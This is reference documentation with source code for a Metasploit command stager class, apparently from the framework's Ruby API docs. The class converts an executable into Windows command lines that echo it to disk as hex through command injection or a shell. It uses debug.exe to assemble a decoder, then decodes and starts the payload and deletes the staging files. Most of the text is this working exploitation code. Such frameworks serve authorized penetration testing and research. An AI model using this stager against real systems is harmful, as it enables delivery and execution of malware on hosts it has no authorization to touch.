Class: Rex::Exploitation::CmdStagerDebugAsm

Inherits:
CmdStagerBase show all
Defined in:
lib/rex/exploitation/cmdstager/debug_asm.rb

Overview

This class provides the ability to create a sequence of commands from an executable. When this sequence is ran via command injection or a shell, the resulting exe will be written to disk and executed.

This particular version uses debug.exe to assemble a small COM file. The COM will take a hex-ascii file, created via echo >>, and decode it to the final binary.

Requires: debug.exe

Written by Joshua J. Drake

Instance Method Summary collapse

Methods inherited from CmdStagerBase

#generate, #generate_cmds_payload, #slice_up_payload

Constructor Details

#initialize(exe) ⇒ CmdStagerDebugAsm

Returns a new instance of CmdStagerDebugAsm


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# File 'lib/rex/exploitation/cmdstager/debug_asm.rb', line 27

def initialize(exe)
  super

  @var_decoder_asm  = Rex::Text.rand_text_alpha(8) + ".dat"
  @var_decoder_com  = Rex::Text.rand_text_alpha(8) + ".com"
  @var_payload_in   = Rex::Text.rand_text_alpha(8) + ".dat"
  @var_payload_out  = Rex::Text.rand_text_alpha(8) + ".exe"
  @decoder          = nil # filled in later
end

Instance Method Details

#cmd_concat_operatorObject

Windows uses & to concat strings


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# File 'lib/rex/exploitation/cmdstager/debug_asm.rb', line 134

def cmd_concat_operator
  " & "
end

#compress_commands(cmds, opts) ⇒ Object

We override compress commands just to stick in a few extra commands last second..


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# File 'lib/rex/exploitation/cmdstager/debug_asm.rb', line 107

def compress_commands(cmds, opts)
  # Convert the debug script to an executable...
  cvt_cmd = ''
  if (@tempdir != '')
    cvt_cmd << "cd %TEMP% && "
  end
  cvt_cmd << "debug < #{@tempdir}#{@var_decoder_asm}"
  cmds << cvt_cmd

  # Convert the encoded payload...
  cmds << "#{@tempdir}#{@var_decoder_com}"

  # Make it all happen
  cmds << "start #{@tempdir}#{@var_payload_out}"

  # Clean up after unless requested not to..
  if (not opts[:nodelete])
    cmds << "del #{@tempdir}#{@var_decoder_asm}"
    cmds << "del #{@tempdir}#{@var_decoder_com}"
    cmds << "del #{@tempdir}#{@var_payload_in}"
    # XXX: We won't be able to delete the payload while it is running..
  end

  super
end

#encode_payload(opts) ⇒ Object

Simple hex encoding…


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# File 'lib/rex/exploitation/cmdstager/debug_asm.rb', line 54

def encode_payload(opts)
  ret = @exe.unpack('H*')[0]
end

#generate_cmds(opts) ⇒ Object

Override just to set the extra byte count


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# File 'lib/rex/exploitation/cmdstager/debug_asm.rb', line 41

def generate_cmds(opts)
  # Set the start/end of the commands here (vs initialize) so we have @tempdir
  @cmd_start = "echo "
  @cmd_end   = ">>#{@tempdir}#{@var_payload_in}"
  xtra_len = @cmd_start.length + @cmd_end.length + 1
  opts.merge!({ :extra => xtra_len })
  super
end

#generate_cmds_decoder(opts) ⇒ Object

Generate the commands that will decode the file we just created


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# File 'lib/rex/exploitation/cmdstager/debug_asm.rb', line 81

def generate_cmds_decoder(opts)

  # Allow decoder stub override (needs to input base64 and output bin)
  @decoder = opts[:decoder] if (opts[:decoder])

  # Read the decoder data file
  f = File.new(@decoder, "rb")
  decoder = f.read(f.stat.size)
  f.close

  # Replace variables
  decoder.gsub!(/decoder_stub/, "#{@tempdir}#{@var_decoder_asm}")
  decoder.gsub!(/h2b\.com/, "#{@tempdir}#{@var_decoder_com}")
  # NOTE: these two filenames MUST 8+3 chars long.
  decoder.gsub!(/testfile\.dat/, "#{@var_payload_in}")
  decoder.gsub!(/testfile\.out/, "#{@var_payload_out}")

  # Split it apart by the lines
  decoder.split("\n")
end

#parts_to_commands(parts, opts) ⇒ Object

Combine the parts of the encoded file with the stuff that goes before / after it.


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# File 'lib/rex/exploitation/cmdstager/debug_asm.rb', line 63

def parts_to_commands(parts, opts)

  cmds = []
  parts.each do |p|
    cmd = ''
    cmd << @cmd_start
    cmd << p
    cmd << @cmd_end
    cmds << cmd
  end

  cmds
end